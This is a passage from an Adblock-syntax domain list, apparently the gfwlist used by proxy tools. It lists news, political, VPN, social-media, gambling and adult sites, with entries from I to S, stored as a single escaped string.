-----\\n.i-cable.com\\n||i1.hk\\n||i2p2.de/\\n||i2runner.com\\niask.ca\\n||iask.ca\\niask.bz\\n||iask.bz\\nibiblio.org/pub/packages/ccic\\n||iblogserv-f.net\\nibros.org\\n|http://cn.ibtimes.com\\nblogs.icerocket.com/tag\\n.icij.org\\n||icl-fi.org\\n\\n!--http://furbo.org/2015/01/28/grass-mud-horse/\\n||iconfactory.com\\n\\n||iconpaper.org\\n!-- Google Pages\\n||icu-project.org\\nw.idaiwan.com/forum\\nidemocracy.asia\\n.identi.ca\\n||identi.ca\\n||idiomconnection.com\\n|http://www.idlcoyote.com\\n.idouga.com\\nforum.idsam.com\\n.idv.tw\\nieasynews.net\\n.ied2k.net\\n|http://if.ttt/\\nifanqiang.com\\n.ifanr.com/857\\n.ifcss.org\\n||ifcss.org\\nifjc.org\\n|http://ift.tt\\n||ifreewares.com\\n||igfw.net\\n||ignitedetroit.net\\n||igvita.com\\n||ihakka.net\\n||iicns.com\\n||illusionfactory.com\\n||ilove80.be\\n||im.tv\\n@@||myvlog.im.tv\\n||im88.tw\\n.imagefap.com\\n||imagefap.com\\n||imageflea.com\\nimageshack.us\\n||imagevenue.com\\n||imagezilla.net\\n!--.imdb.com\\n!--|http://imdb.com\\n|http://www.imdb.com/name/nm0482730\\n|http://www.imdb.com/title/tt0819354/\\n.img.ly\\n||img.ly\\n.imkev.com\\n||imkev.com\\n.imlive.com\\nimmigration.gov.tw\\n|http://tech2.in.com/video/\\n||incredibox.fr\\n.initiativesforchina.org\\n.inmediahk.net\\n||inmediahk.net\\n||innermongolia.org\\n.instagram.com\\n||instagram.com\\n||interfaceaddiction.com\\n||internationalrivers.org\\n|http://internet.org/\\ninternetdefenseleague.org\\ninternetfreedom.org\\n!--||interpol.int\\n||internetpopculture.com\\ninxian.com\\n||inxian.com\\n||ipcf.org.tw\\n||iphone4hongkong.com\\n||iphonehacks.com\\n||iphonix.fr\\n||ipicture.ru\\n!--ipobar.com\\n||ippotv.com\\n|https://*.iptorrents.com\\n|https://iptorrents.com\\n||ipvanish.com\\niredmail.org\\n||ironicsoftware.com\\n||ironbigfools.compython.net\\n||ironpython.net\\n.beta.iset.com.tw/forum\\nhttp://beta.iset.com.tw/forum\\nforum.iset.com.tw\\n.islam.org.hk\\n.islamicity.com\\n.isaacmao.com\\n||isaacmao.com\\n||isgreat.org\\n||ismaelan.com\\n||ismprofessional.net\\nisohunt.com\\n||israbox.com\\nblog.istef.info/2007/10/21/myentunnel\\n.istockphoto.com\\nisunaffairs.com\\nisuntv.com\\nitaboo.info\\n||itaboo.info\\ndownload.ithome.com.tw\\nithelp.ithome.com.tw\\n||itshidden.com\\n.itweet.net\\n|http://itweet.net\\n.iu45.com\\n||iuhrdf.org\\n.iverycd.com\\n||lvv2.com\\n||ixquick.com\\niyouport.com\\n||iyouport.com\\n.izaobao.us\\n||gmozomg.izihost.org\\n.izles.net\\n\\n!--------------------JJ--------------------\\n||j.mp\\nblog.jackjia.com\\n||japan-whores.com\\n.javbus.com\\njbtalks.cc\\njbtalks.com\\njbtalks.my\\n.jdwsy.com\\njeanyim.com\\n||jgoodies.com\\n||jiaoyou8.com\\n.jiehua.cz\\n||hk.jiepang.com\\n||tw.jiepang.com\\njieshibaobao.com\\njigong1024.com\\njinbushe.org\\n||jinbushe.org\\nzhao.jinhai.de\\njingpin.org\\n||jingpin.org\\nac.jiruan.net\\n||jitouch.com\\njkforum.net\\n||jma.go.jp\\nresearch.jmsc.hku.hk/social\\n||joachims.org\\n||jobso.tv\\n||joeedelman.com\\n||journalofdemocracy.org\\njpopforum.net\\n||juliereyc.com\\n||junauza.com\\n.junefourth-20.net\\n||junefourth-20.net\\njustfreevpn.com\\njusttristan.com\\njuyuange.org\\njuziyue.com\\n||juziyue.com\\n||jwmusic.org\\n@@||music.jwmusic.org\\n.jyxf.net\\n\\n!--------------------KK--------------------\\n||ka-wai.com\\n.kagyuoffice.org\\n||kagyuoffice.org\\n||kagyuoffice.org.tw\\n.kaiyuan.de\\n||kakao.com\\nkanzhongguo.com\\nkanzhongguo.eu\\n||karayou.com\\n||kcsoftwares.com\\n.kechara.com\\n.keepandshare.com/visit/visit_page.php?i=688154\\n||keepvid.com\\n.kendincos.net\\n.kenengba.com\\n||kenengba.com\\n||keontech.net\\nwiki.keso.cn/Home\\n.khabdha.org\\n.khmusic.com.tw\\nbbs.kimy.com.tw\\n||kindleren.com\\n.kingdomsalvation.org\\nkinghost.com\\n.kingstone.com.tw\\nkillwall.com\\n||killwall.com\\n.kissbbao.cn\\n|http://kiwi.kz\\n||kmt.org.tw\\n.knowledgerush.com/kr/encyclopedia\\n||kodingen.com\\n@@||www.kodingen.com\\n||kompozer.net\\n||koolsolutions.com\\n.koornk.com\\n||koornk.com\\n.kui.name/event\\n.kuliwang.com\\nkun.im\\n.kurashsultan.com\\n||kurtmunger.com\\nkusocity.com\\n||kwcg.ca\\nkwongwah.com.my\\nkyohk.net\\n.kzeng.info\\n||kzeng.info\\n\\n!--------------------LL--------------------\\nla-forum.org\\nladbrokes.com\\n||labiennale.org\\nlagranepoca.com\\n.lalulalu.com\\n|http://www.lamenhu.com\\nlaogai.org\\n||laogai.org\\nlaomiu.com\\n.laoyang.info\\n|http://laoyang.info\\n||laptoplockdown.com\\n||laqingdan.net\\n||larsgeorge.com\\n||lastfm.es\\nlatelinenews.com\\n.latibet.org\\n||lazarsearlymusic.com\\n||leecheukyan.org\\n|http://leirentv.ca\\nleisurecafe.ca\\n||lematin.ch\\n.lemonde.fr\\n||lenwhite.com\\nlerosua.org\\n||lerosua.org\\nblog.lester850.info\\n||lesoir.be\\nletscorp.net\\n||letscorp.net\\n.liangyou.net\\n||liangyou.net\\nliansi.org\\n.lianyue.net\\n||liaowangxizang.net\\n.liaowangxizang.net\\n||liberal.org.hk\\nlibertytimes.com.tw\\n.lidecheng.com/blog/fucking-gfw\\nlimiao.net\\nabitno.linpie.com/use-ipv6-to-fuck-gfw\\n||line.me\\n.linglingfa.com\\n||lingvodics.com\\n.linkideo.com\\n||api.linksalpha.com\\n||apidocs.linksalpha.com\\n||www.linksalpha.com\\n||help.linksalpha.com\\n||linux-engineer.net\\n||linuxconfig.org\\n||linuxreviews.org\\nlinuxtoy.org/archives/installing-west-chamber-on-ubuntu\\n.lipuman.com\\n||listentoyoutube.com\\nlistorious.com\\n||liudejun.com\\n.liuhanyu.com\\n.liujianshu.com\\n||liujianshu.com\\nliuxiaotong.com\\n||liuxiaotong.com\\nliu.lu\\n.liveleak.com\\n||liveleak.com\\n.livestation.com\\nlivestream.com\\n||livestream.com\\n||livingonline.us\\n||livingstream.com\\n||livevideo.com\\n.livevideo.com\\nlizhizhuangbi.com\\nlkcn.net\\n|http://localpresshk.com\\n||lockdown.com\\n||lockestek.com\\nlogbot.net\\n||logiqx.com\\n||logmike.com\\n.longhair.hk\\n||longtermly.net\\n.lookatgame.com\\n|http://lookatgame.com\\n||lookingglasstheatre.org\\n||lookpic.com\\n.looktoronto.com\\n.lotsawahouse.org/tibetan-masters/fourteenth-dalai-lama\\n.lotuslight.org.tw\\nhkreporter.loved.hk\\n||lrfz.com\\n.lrip.org\\n|http://lrip.org/\\n.lsd.org.hk\\n||lsd.org.hk\\nlsforum.net\\n||lsm.org\\n||lsmchinese.org\\n||lsmkorean.org\\n.lsmradio.com/rad_archives\\n.ltn.com.tw\\n|http://ltn.com.tw\\n.lupm.org\\n||lupm.org\\n||lushstories.com\\nlvhai.org\\n||lvhai.org\\n\\n!--------------------MM--------------------\\nforum.m-team.cc/forum\\n||mh4u.org\\nm-team.cc/forum\\nwww.macrovpn.com\\n||mad-ar.ch\\n|http://maiplus.com\\n||marc.info\\nmarguerite.su\\n||martincartoons.com\\n.maiio.net\\nmail-archive.com\\n.malaysiakini.com\\n||makemymood.com\\n||marines.mil\\nmarkmail.org*message\\n||martau.com\\n.martsangkagyuofficial.org\\n|http://martsangkagyuofficial.org\\nmaruta.be/forget\\n.marxist.com\\n||marxist.net\\n.marxists.org/chinese\\n!--mashable.com\\n!--||mashable.com\\n||matainja.com\\n||mathiew-badimon.com\\n||matsushimakaede.com\\n|http://maturejp.com\\nmayimayi.com\\n||mcadforums.com\\nmcfog.com\\n.md-t.org\\n||md-t.org\\n.mediafire.com/?\\n.mediafire.com/download\\n||meetup.com\\nmefeedia.com\\n.megaporn.com\\n||megaproxy.com\\n||megarotic.com\\nmegavideo.com\\n||megurineluka.com\\nmeirixiaochao.com\\n||melon-peach.com\\nmemedia.cn\\n.memehk.com\\n||memehk.com\\n.memrijttm.org\\nmerit-times.com.tw\\n.mesotw.com/bbs\\n.metacafe.com\\n||meteorshowersonline.com\\n|http://www.metro.taipei/\\n||metrolife.ca\\n||mgoon.com\\n||mgstage.com\\nmhradio.org\\n|http://michaelanti.com\\n||michaelmarketl.com\\nmiddle-way.net\\n.mihk.hk/forum\\nmihua.org\\n.mimivip.com\\n.mimivv.com\\n.mindrolling.org\\n|http://mindrolling.org\\nminghui.org\\n||minghui.org\\nminghui-a.org\\nminghui-b.org\\nminghui-school.org\\n.mingjinglishi.com\\n||mingjinglishi.com\\nmingjingnews.com\\n||mingjingtimes.com\\nmingpao.com\\n.mingpaocanada.com\\n.mingpaomonthly.com\\nmingpaonews.com\\n.mingpaony.com\\n.mingpaosf.com\\n.mingpaotor.com\\n.mingpaovan.com\\n.mingshengbao.com\\n.ministrybooks.org\\n.minzhuhua.net\\n||minzhuhua.net\\nminzhuzhanxian.com\\nminzhuzhongguo.org\\n||miroguide.com\\nmirrorbooks.com\\nmitbbs.com\\n.mixero.com\\n||mixero.com\\nmixpod.com\\n.mixx.com\\n||mixx.com\\n||mizzmona.com\\n.mk5000.com\\n.mlcool.com\\n||mmaaxx.com\\nplurktop.mmdays.com\\n.mmmca.com\\n||mobatek.net\\n.mobile01.com\\n||mobileways.de\\n.mobypicture.com\\n|http://moby.to\\n||mrdoob.com\\nwiki.moegirl.org\\n||mog.com\\nmolihua.org\\n||mondex.org\\n|http://www.monlamit.org\\nc1522.mooo.com\\n||monitorchina.org\\nbbs.morbell.com\\n||morningsun.org\\n||movabletype.com\\n||moviefap.com\\n||www.moztw.org\\nmp3ye.eu\\n||mp/\\n||mpettis.com\\nmpfinance.com\\nmpinews.com\\nmrtweet.com\\n||mrtweet.com\\nnews.msn.com.tw\\nmsguancha.com\\n||mthruf.com\\n||multiply.com\\nmultiproxy.org\\nforum.mymaji.com\\nmultiupload.com\\n||muouju.com\\n||muselinks.co.jp\\n||muzi.com\\n||muzi.net\\n||mx981.com\\n.my-proxy.com\\nforum.my903.com\\nmyactimes.com\\n||my-addr.com\\n||myaudiocast.com\\n.myav.com.tw/bbs\\n||bbs.mychat.to\\n||mychinamyhome.com\\n.mychinamyhome.com\\n||www.mycould.com\\n||myeclipseide.com\\n.myforum.com.hk\\n||myforum.com.hk\\n||myforum.com.uk\\n.myfreshnet.com\\n||myparagliding.com\\n||mypopescu.com\\nmysinablog.com\\n.myspace.com\\n!--.blogs.myspace.com\\n!--||blogs.myspace.com\\n!--vids.myspace.com/index.cfm?fuseaction=vids.\\n!--viewmorepics.myspace.com\\n\\n!--------------------NN--------------------\\n||naacoalition.org\\nold.nabble.com\\n||naitik.net\\n||namsisi.com\\nnanyang.com\\n||nanyang.com\\n.nanyangpost.com\\n||nanyangpost.com\\n.nanzao.com/sc/hk-macau-tw\\n||jpl.nasa.gov\\n||pds.nasa.gov\\n/^https?:\\\\/\\\\/[^\\\\/]+line\\\\.naver\\\\.jp/\\n||navicat.com\\n.nakido.com\\n||nakido.com\\n.naol.ca\\ncyberghost.natado.com\\n||national-lottery.co.uk\\n||usno.navy.mil\\nnccwatch.org.tw\\n.nch.com.tw\\n.ncn.org\\n||ncn.org\\n||etools.ncol.com\\n.nde.de\\n.ndr.de\\nwww.ned.org\\n||nekoslovakia.net\\nt.neolee.cn\\nnetcolony.com\\nbolin.netfirms.com\\nzh.netlog.com\\nnetme.cc\\nnetworkedblogs.com\\nneverforget8964.org\\nnew-3lunch.net\\n.new-akiba.com\\n.newcenturymc.com\\n|http://newcenturymc.com\\nnewcenturynews.com\\n||newchen.com\\n.newchen.com\\n.newgrounds.com\\nnewlandmagazine.com.au\\nnews100.com.tw\\n.newscn.org\\n||newscn.org\\n||newsminer.com\\nnewspeak.cc/story\\n.newsancai.com\\n||newstapa.org\\n.newtaiwan.com.tw\\nnewtalk.tw\\n||newtalk.tw\\nnewyorktimes.com\\n!--hk*.nextmedia.com\\n!--tw*.nextmedia.com\\n!--static*.nextmedia.com\\n.nextmedia.com\\n||nexton-net.jp\\nnexttv.com.tw\\n||nga.mil\\nngensis.com\\n.nicovideo.jp/watch\\n!--||nicovideo.jp\\n||nighost.org\\nninecommentaries.com\\nnintendium.com\\ntaiwanyes.ning.com\\nusmgtcg.ning.com/forum\\n||niusnews.com\\n||njactb.org\\nnjuice.com\\n||njuice.com\\nnlfreevpn.com\\n!--no-ip.com\\n||nobel.se\\n!--.nobelprize.org\\n!--|http://nobelprize.org\\nnobelprize.org/nobel_prizes/peace/laureates/2010\\nnobodycanstop.us\\n||nobodycanstop.us\\n||nokogiri.org\\n||nokola.com\\n.norbulingka.org\\n||novelasia.com\\n|http://news.now.com/home*\\n||nownews.com\\n.nowtorrents.com\\n.noypf.com\\n||noypf.com\\n||npa.go.jp\\n.nps.gov\\n.nrk.no\\n||nrk.no\\n||nsc.gov.tw\\n.ntd.tv\\n||ntd.tv\\nntdtv.co\\nntdtv.ca\\nntdtv.org\\nntdtv.ru\\n||cbs.ntu.edu.tw\\n.nubiles.net\\n||nuexpo.com\\n||nurgo-software.com\\n.nuvid.com\\nnuzcom.com\\n.nvquan.org\\n.nwtca.org\\n||nyaa.se\\n.nydus.ca\\n||nyt.com\\n||nytco.com\\n|http://nyti.ms/\\n.nytimes.com\\n||nytimes.com\\n||nytimg.com\\nnysingtao.com\\n||nzchinese.net.nz\\n\\n!--------------------OO--------------------\\nobservechina.net\\noclp.hk\\n||october-review.org\\noffbeatchina.com\\nofficeoftibet.com\\n||ogaoga.org\\ntwtr2src.ogaoga.org\\nwww2.ohchr.org/english/bodies/cat/docs/ngos/II_China_41.pdf\\n.oikos.com.tw/v4\\n.oiktv.com\\noizoblog.com\\n.okayfreedom.com\\nold-cat.net\\n||olumpo.com\\n.olympicwatch.org\\nomgili.com\\n||omnitalk.com\\n||omnitalk.org\\ncling.omy.sg\\nforum.omy.sg\\nnews.omy.sg\\nshowbiz.omy.sg\\n||on.cc\\n||onedrive.live.com\\n|http://www.onion.city\\n.onlylady.cn\\nonmoon.net\\nonmoon.com\\n!--Sorry but we are confused as well\\n||ontrac.com\\n.oopsforum.com\\nopen.com.hk\\nopendemocracy.net\\nmyopenid.com\\n||myopenid.com\\nopenid.net\\n||openid.net\\n||blog.openinkpot.org\\n.openleaks.org\\n||openleaks.org\\nopenvpn.net\\n||openvpn.net\\n||openwebster.com\\n|http://help.opera.com\\nmy.opera.com/dahema\\n||demo.opera-mini.net\\nwww.orchidbbs.com\\norganharvestinvestigation.net\\n||orient-doll.com\\norientaldaily.com.my\\n||orientaldaily.com.my\\n!--orientaldaily.on.cc\\n||orn.jp\\nt.orzdream.com\\n||t.orzdream.com\\ntui.orzdream.com\\n||orzistic.org\\n||osfoora.com\\n|http://www.osmdroid.net\\n||ourdearamy.com\\noursogo.com\\noursteps.com.au\\nxinqimeng.over-blog.com\\nshare.ovi.com/media\\n|http://owl.li\\n|http://ht.ly\\n|http://htl.li\\n|http://mash.to\\nwww.owind.com\\n|http://www.oxid.it\\noyax.com\\n.ozchinese.com/bbs\\n||ow.ly\\nbbs.ozchinese.com\\n.ozyoyo.com\\n\\n!--------------------PP--------------------\\n.pacificpoker.com\\n.packetix.net\\n.padmanet.com\\npage2rss.com\\n||pagodabox.com\\n\\n!--Godaddy Free Hosting\\n||paint.net\\n||coveringweb.com\\n.palacemoon.com\\nforum.palmislife.com\\n||eriversoft.com\\npaljorpublications.com\\npaper.li\\npaperb.us\\n.panluan.net\\n||panluan.net\\n||pao-pao.net\\n.parade.com/dictators/2009\\n.passion.com\\n||passion.com\\n.passiontimes.hk\\npastebin.com\\n.pastie.org\\n||pastie.org\\n||blog.pathtosharepoint.com\\npbs.org/wgbh/pages/frontline/gate\\npbs.org/wgbh/pages/frontline/tankman\\npbs.org/wgbh/pages/frontline/tibet\\n\\n!--Pbwiki\\npbwiki.com\\n||pbworks.com\\n||developers.box.net\\n||wiki.oauth.net\\n||wiki.phonegap.com\\n||wiki.jqueryui.com\\n\\n||pbxes.com\\n||pbxes.org\\n.pcdiscuss.com\\npcdvd.com.tw\\n.pchome.com.tw\\n|http://pcij.org/\\n||pct.org.tw\\npdetails.com\\n||pdproxy.com\\n||peace.ca\\npeacefire.org\\npeacehall.com\\n|http://pearlher.org\\n.peeasian.com\\n.pekingduck.org\\n||pekingduck.org\\n||pen.io\\npenchinese.com\\n||penchinese.net\\n.penchinese.net\\npengyulong.com\\n||blog.pentalogic.net\\n.penthouse.com\\n.peopo.org\\n||peopo.org\\n.percy.in\\n.perfectgirls.net\\nperfectvpn.net\\n.persecutionblog.com\\nphayul.com\\nphilly.com\\n||phncdn.com\\n||photodharma.net\\n||photofocus.com\\n||phuquocservices.com\\n.picidae.net\\n||img*.picturedip.com\\npicturesocial.com\\n.pin6.com\\n||pin6.com\\n.ping.fm\\n||ping.fm\\n||pinoy-n.com\\n.piposay.com\\n.piring.com\\n||pixelqi.com\\n||css.pixnet.in\\n||pixnet.net\\n.pixnet.net\\n.pk.com\\n||placemix.com\\n!--.planetsuzy.org\\n|http://pictures.playboy.com\\n||playboy.com\\n||playpcesor.com\\nplays.com.tw\\n||m.plixi.com\\nplm.org.hk\\nplunder.com\\n.plus28.com\\n.plusbb.com\\n.pmates.com\\n||po2b.com\\n||pocoo.org\\n||podictionary.com\\n.pokerstars.com\\n||pokerstars.com\\nzh.pokerstrategy.com\\npoliticalchina.org\\npoliticalconsultation.org\\n!--||popularpages.net\\n||popvote.hk\\npopyard.com\\n||popyard.org\\n.porn.com\\n.porn2.com\\n.pornbase.org\\n||pornhd.com\\n.pornhub.com\\n||pornmm.net\\n.pornoxo.com\\n.pornrapidshare.com\\n||pornrapidshare.com\\n.pornstarclub.com\\n.porntube.com\\n.pornvisit.com\\n.portablevpn.nl\\n.post852.com\\npostadult.com\\n||powercx.com\\n||www.powerpointninja.com\\n||cdn.printfriendly.com\\n||pts.org.tw\\npubu.com.tw\\npuffinbrowser.com\\npureinsight.org\\n||putty.org\\n\\n!-------------Posterous-----\\n|http://post.ly\\n.posterous.com\\n|http://posterous.com\\n||post.anyu.org\\n||bralio.com\\n||calebelston.com\\n!-||blog.dabr.co.uk\\n||designerol.com\\n||blog.fizzik.com\\n||nf.id.au\\n||markmilian.com\\n||log.riku.me\\n||sogrady.me\\n||vatn.org\\n||veempiire.com\\n||www.vegorpedersen.com\\n||ventureswell.com\\n||webfee.tk\\n||whereiswerner.com\\n||bill.zhong.pp.ru\\n\\n.power.com\\n||power.com\\npowerapple.com\\n||abc.pp.ru\\nheix.pp.ru\\n||prayforchina.net\\n||premeforwindows7.com\\n||presentationzen.com\\n||prestige-av.com\\nprisoner-state-secret-journal-premier\\n.prisoneralert.com\\n||pritunl.com\\n||privacybox.de\\n||privateinternetaccess.com\\nprivatepaste.com\\n||privatepaste.com\\nprivatetunnel.com\\n||privatetunnel.com\\n||procopytips.com\\nprovideocoalition.com\\n||prosiben.de\\nproxifier.com\\napi.proxlet.com\\n||proxomitron.info\\nproxy.org\\n.proxypy.net\\n||proxypy.net\\nproxyroad.com\\nprozz.net\\npsblog.name\\n||psblog.name\\n||psiphon.ca\\n.ptt.cc\\n.puffstore.com\\n||pullfolio.com\\n||pureconcepts.net\\n||purepdf.com\\n||purevpn.com\\n.putlocker.com/file\\npwned.com\\npython.com\\n.python.com.tw\\n|http://python.com.tw\\n\\n!--------------------QQ--------------------\\n.qanote.com\\n||qanote.com\\nqi-gong.me\\n.qidian.ca\\n.qienkuen.org\\n||qienkuen.org\\n||qiwen.lu\\nqixianglu.cn\\nbbs.qmzdd.com\\n.qkshare.com\\nqoos.com\\n||qoos.com\\nblog.qooza.hk*dafengqixi\\n||efksoft.com\\n||qstatus.com\\n||qtweeter.com\\n||qtrac.eu\\n||quitccp.net\\n.quitccp.net\\n||quitccp.org\\n.quitccp.org\\n|http://quran.com\\nqusi8.net\\n.qvodzy.org\\nnemesis2.qx.net*pages*MyEnTunnel\\nqxbbs.org\\n\\n!--------------------RR--------------------\\n.ra.gg\\n|http://ra.gg/\\n.radicalparty.org\\nradioaustralia.net.au\\n.radiohilight.net\\n||radiohilight.net\\nopml.radiotime.com\\n||radiovaticana.org\\n||radiovncr.com\\n||raidcall.com.tw\\n.raidtalk.com.tw\\nrangzen.com\\nrangzen.net\\nrangzen.org\\n|http://blog.ranxiang.com/\\nranyunfei.com\\n||ranyunfei.com\\n.rapbull.net\\n|http://rapidgator.net/\\n!-.rapidshare.com\\n!-|http://rapidshare.com\\n||rapidshare8.com\\n.rapidsharedata.com\\n.raremovie.cc\\n|http://raremovie.cc\\n.raremovie.net\\n|http://raremovie.net\\n!--.rayfme.com/bbs\\nrcinet.ca\\n.read100.com\\n.readingtimes.com.tw\\n||readingtimes.com.tw\\n||readmoo.com\\n.realcourage.org\\n.realraptalk.com\\n.recordhistory.org\\nredchinacn.org\\n.redtube.com\\nreferer.us\\n||referer.us\\n||reflectivecode.com\\nrelaxbbs.com\\n.releaseinternational.org\\nreligioustolerance.org\\nrenminbao.com\\n.renyurenquan.org\\n||renyurenquan.org\\n|http://certificate.revocationcheck.com\\nsubacme.rerouted.org\\n.reuters.com\\n.revleft.com\\nretweetist.com\\n||retweetrank.com\\n!--connectedchina.reuters.com\\n!--|http://www.reuters.com/news/video\\nrevver.com\\n.rfa.org\\n|http://rfa.org\\n.rfachina.com\\n.rfamobile.org\\n||rferl.org\\n.rfi.fr\\n||rfi.fr\\n|http://rfi.my/\\n.rhcloud.com\\n!--Edgecast\\n|http://vds.rightster.com/\\n.rileyguide.com\\nriku.me/\\n.ritouki.jp\\n.rlwlw.com\\n||rlwlw.com\\n.rmjdw.com\\nchinese.rnw.nl\\n.rnw.nl\\nrobtex.com\\n||robustnessiskey.com\\n|http://www2.rocketbbs.com/11/bbs.cgi?id=5mus\\n|http://www2.rocketbbs.com/11/bbs.cgi?id=freemgl\\n||rocmp.org\\n||rojo.com\\n||ronjoneswriter.com\\n.roodo.com\\n.rosechina.net\\n.rotten.com\\n.rsf.org\\n||rsf.org\\n.rsf-chinese.org\\n||rsf-chinese.org\\n.rssmeme.com\\n||rssmeme.com\\n.rthk.hk\\n|http://rthk.hk\\n.rthk.org.hk\\n|http://rthk.org.hk\\nrti.org.tw\\n.ruanyifeng.com/blog*some_ways_to_break_the_great_firewall\\n.rushbee.com\\nrutube.ru\\n.ruyiseek.com\\n.rxhj.net\\n|http://rxhj.net\\n\\n!--------------------SS--------------------\\n||s-cute.com\\n.s-dragon.org\\n||s1heng.com\\n|http://www.s4miniarchive.com\\n||s8forum.com\\nsacom.hk\\n||sacom.hk\\n||sadpanda.us\\n.saiq.me\\n||saiq.me\\n||sakuralive.com\\n.salvation.org.hk\\n||salvation.org.hk\\n.samair.ru/proxy/type-01\\n.sambhota.org\\nsammyjs.org\\n||sankaizok.com\\n.sanmin.com.tw\\nsapikachu.net\\nsavemedia.com\\nsavetibet.de\\nsavetibet.fr\\nsavetibet.nl\\nsavetibet.org\\nsavetibet.ru\\nsavevid.com\\n||say2.info\\n|http://www.sciencemag.org/content/344/6187/953\\n.scmp.com\\n.scmpchinese.com\\n.scribd.com\\n||scriptspot.com\\nseapuff.com\\ndomainhelp.search.com\\nsecretchina.com\\n||secretgarden.no\\n||default.secureserver.net\\nsecuritykiss.com\\nseesmic.com\\n||seevpn.com\\n||seezone.net\\nsejie.com\\n.sendspace.com\\n|http://tweets.seraph.me/\\nsesawe.net\\n||sesawe.net\\n.sesawe.org\\n||sethwklein.net\\nforum.setty.com.tw\\n.sevenload.com\\n||sevenload.com\\n.sex.com\\n.sex-11.com\\n||sex3.com\\n||sex8.cc\\n.sexandsubmission.com\\n.sexhu.com\\n.sexhuang.com\\nsexinsex.net\\n||sexinsex.net\\n!--IP of SexInSex\\n67.220.91.18\\n67.220.91.23\\n|http://*.sf.net\\n.sfileydy.com\\n.sftuk.org\\n||sftuk.org\\nshadow.ma\\n.shadowsocks.org\\n||shadowsocks.org\\nshahamat-english.com\\n.shangfang.org\\n||shangfang.org\\nshapeservices.com\\n.sharebee.com\\n||sharecool.org\\n!--||sharkdolphin.com\\nsharpdaily.com.hk\\n||sharpdaily.com.hk\\n.sharpdaily.hk\\n.sharpdaily.tw\\n.shat-tibet.com\\nsheikyermami.com\\n.shenshou.org\\nshenyun.com\\nshenyunperformingarts.org\\nshenzhoufilm.com\\n||shenzhoufilm.com\\nshinychan.com\\n.shitaotv.org\\n||shixiao.org\\n||shizhao.org\\n.shizhao.org\\nshkspr.mobi/dabr\\n||shodanhq.com\\n.shopping.com\\n.showtime.jp\\nch.shvoong.com\\n.shwchurch3.com\\n|http://shwchurch3.com\\n||sidelinesnews.com\\n.sidelinessportseatery.com\\nsimplecd.org\\n||simplecd.org\\n@@||simplecd.me\\nsimpleproductivityblog.com\\nbbs.sina.com/\\nbbs.sina.com%2F\\nblog.sina.com.tw\\ndailynews.sina.com/\\ndailynews.sina.com%2F\\nforum.sina.com.hk\\nhome.sina.com\\n||magazines.sina.com.tw\\nnews.sina.com.hk\\nnews.sina.com.tw\\n|http://news.sinchew.com.my\\n.singaporepools.com.sg\\n||singaporepools.com.sg\\nsingtao.com\\n||singtao.com\\nnews.singtao.ca\\n!--||cdp.sinica.edu.tw\\nsino-monthly.com\\n||sinocast.com\\nsinocism.com\\nsinomontreal.ca\\n.sinonet.ca\\n.sinopitt.info\\n.sinoants.com\\n||sinoants.com\\nsinoquebec.com\\n||site90.net\\n.sitebro.tw\\n||sitekreator.com\\n||siteks.uk.to\\n||sitemaps.org\\nsitetag.us\\nsis.xxx\\n||sis001.com\\nsis001.us\\n||sjum.cn/\\n||skimtube.com\\n||skybet.com\\n|http://users.skynet.be/reves/tibethome.html\\n|http://skyhighpremium.com/\\nbbs.skykiwi.com\\n|http://www.skype.com/intl/\\n|http://www.skype.com/zh-Hant\\n||skyvegas.com\\n.xskywalker.com\\n||xskywalker.com\\nm.slandr.net\\n||slavasoft.com\\n||slheng.com\\n.slideshare.net\\nforum.slime.com.tw\\n.slinkset.com\\n||slickvpn.com\\n.slutload.com\\nsmhric.org\\n!--TODO-no-homepage\\n||snapchat.com\\n.snaptu.com\\n||snaptu.com\\n||sndcdn.com\\nsneakme.net\\n||snooper.co.uk\\nsnowlionpub.com\\n||so-ga.net\\n.so-ga.net\\n||so-news.com\\n.so-news.com\\nhome.so-net.net.tw/yisa_tsai\\n||soc.mil/\\n||sockslist.net\\n.sod.co.jp\\n.softether.org\\n||softether.org\\n.softether-download.com\\n||softether-download.com\\n||cdn.softlayer.net\\n||sogclub.com\\nsohcradio.com\\n||sohcradio.com\\n||www.somee.com\\n||sorting-algorithms.com\\n.soumo.info\\n||soup.io/\\n@@||static.soup.io\\n.sobees.com\\n||sobees.com\\nsocialwhale.com\\n.softether.co.jp\\n||softwarebychuck.com\\nblog.sogoo.org\\nsoh.tw\\n||soh.tw\\nsohfrance.org\\n||sohfrance.org\\nchinese.soifind.com\\nsokamonline.com\\n||somee.com\\n.songjianjun.com\\n||songjianjun.com\\n.sonidodelaesperanza.org\\n.sopcast.com\\n.sopcast.org\\n.soul-plus.net\\n||soundcloud.com\\n!--|https://soundcloud.com/punkgod\\n.soundofhope.kr\\nsoundofhope.org\\n||soundofhope.org\\n||soupofmedia.com\\n.sourceforge.net\\n!-|http://sourceforge.net\\n|http://sourceforge.net/p*/shadowsocksgui/\\nsouthnews.com.tw\\nsowers.org.hk\\n||wlx.sowiki.net\\n||space-scape.com\\n||spankbang.com\\n.spankwire.com\\n||spb.com\\n||speakerdeck.com\\n||spencertipping.com\\nspinejs.com\\n||sproutcore.com\\n||sproxy.info\\nsquarespace.com\\n||ssh91.com\\n!--|http://cdn.sstatic.net/\\nwww.stackfile.com/freedur\\n|http://stackoverflow.com/users/895245\\n.stage64.hk\\n||stage64.hk\\n||standupfortibet.org\\nstanford.edu/group/falun\\nusinfo.state.gov\\n.starp2p.com\\n||starp2p.com\\n.startpage.com\\n||startpage.com\\n.state168.com\\n||steel-storm.com\\n||stepmania.com\\nsthoo.com\\n||sthoo.com\\n.stickam.com\\nstickeraction.com/sesawe\\n||stoneip.info\\n||storagenewsletter.com\\n.storm.mg\\n||storm.mg\\n.stoptibetcrisis.net\\n||stoptibetcrisis.net\\n||storify.com\\n||stoweboyd.com\\n||streamingthe.net\\ncn.streetvoice.com/article\\ncn.streetvoice.com/diary\\ncn2.streetvoice.com\\ntw.streetvoice.com\\n||strongvpn.com\\n.student.tw/db\\n||studentsforafreetibet.org\\n||stumbleupon.com\\nstupidvideos.com\\n.sugarsync.com\\n||sugarsync.com\\nsummify.com\\nsun1911.com\\n.sunporno.com\\n||sunporno.com\\n.surfeasy.com\\n||surfeasy.com\\n.suyangg.com\\n|http://suyangg.com/\\n.suoluo.org\\napi.supertweet.net\\nwww.supertweet.net\\n.surfeasy.com.au\\n||surrenderat20.net\\n||svwind.com\\n||sweux.com\\n||swift-tools.net\\n.sydneytoday.com\\n.sylfoundation.org\\n||syncback.com\\n||sysadmin1138.net\\nsysresccd.org\\n.sytes.net\\nblog.syx86.com/2009/09/puff\\nblog.syx86.cn/2009/09/puff\\n.szbbs.net\\n||szetowah.org.hk\\n\\n!--------------------